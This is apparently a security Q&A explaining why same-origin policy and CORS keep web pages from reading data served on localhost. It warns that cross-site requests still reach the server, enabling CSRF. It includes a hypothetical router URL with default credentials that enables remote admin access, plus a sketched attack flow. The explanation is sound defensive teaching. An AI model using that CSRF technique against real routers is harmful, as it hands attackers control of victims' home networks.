Let's assume that http://127.0.0.1/private.txt returns my entire diary since 1958. Or anything equally sensitive. I definitely don't ever want it to interact with anything other than my Firefox browser, but from what I can reckon, this could be a massive privacy/security issue. I hope I'm wrong about my assumption that this request would be allowed. I hope that it has some kind of "cross-domain policy" blocking it or something. Especially since it's from 127.0.0.1, which should be some kind of special case.

What would stop it from doing this? What am I missing in my reasoning?

Reading
Cross-Origin Resource Sharing CORS and the Same Origin Policy SOP are your friends here.  Since the javascript in question is not hosted by http://127.0.0.1, it will run afoul of the SOP and default rules for CORS in browsers will prevent the javascript from reading the response.  That covers your immediate question - you are protected by default.
Writing
However, that "reading" part is key. The browser will in all circumstances make the request to the server. The only thing CORS does is block the JavaScript from receiving the response. As such, CORS stops an attacker from reading data from elsewhere, but doesn't stop it from sending data elsewhere.
As a result if your application were to make important state changes due to receiving a request, you may end up with issues.  Helpfully, CSRF tokens would protect you against such attacks.  To be clear, JavaScript is not even required for an attacker to send a request elsewhere (h/t mti2935) - an img tag embedded on a page you visit can trigger a GET request to any server, making it especially easy for attackers to trigger undesired actions if your server takes actions as the result of a GET request.
Therefore if your application makes state changes without CSRF protection, and the attacker knows about the endpoint, you may be in trouble.  For a real life example insecure and commonly used routers have been exploited like this.  Consider this hypothetical URL in the web application hosted by a home router:
http://admin:admin@192.168.1.1/enable_remote_admin_access

It enables remote admin access (aka adjusts config so that people can login to the admin section of the router from the internet), it has a well known URL, it requires basic authentication, and the router ships with a well known default username and password (admin:admin).  As a result an attacker creates a webpage that makes a simple GET request to the above URL.  The attacker won't get a response from the router (because of CORS) but the router still receives the request and if vulnerable, is now ready to accept admin connections from the internet.  The malicious script then phones home with the victims IP address and another quick script checks their IP address to see if there is now an accessible router.  If so, then the attacker has silently gained full control over the victim's home network simply because they visited the wrong page and were using a common, vulnerable router.
Arithmetic
Of course a custom application is much harder to take advantage of like this because it is a blind attack.  Without information about what they are attacking, it's nearly impossible to have any success.  As a result the practical risk level is likely low since the attack surface is so tiny. Still, here are some caveats to keep in mind:

All bets are off in the event of a targeted attack. If the attacker knows you run some software locally that has a vulnerability, they just need you to visit the wrong link.
CORS config is important. If your local app uses an overly permissive CORS configuration then an attacker could read the results and "browse" your application.
Depending on how the network is configured, some basic port scanning may be possible.
DNS rebinding (h/t EdC) may allow an attacker to circumvent the SOP and CORS.  There can be obstacles to such an attack, but a determined attacker may improve their odds of success by using it.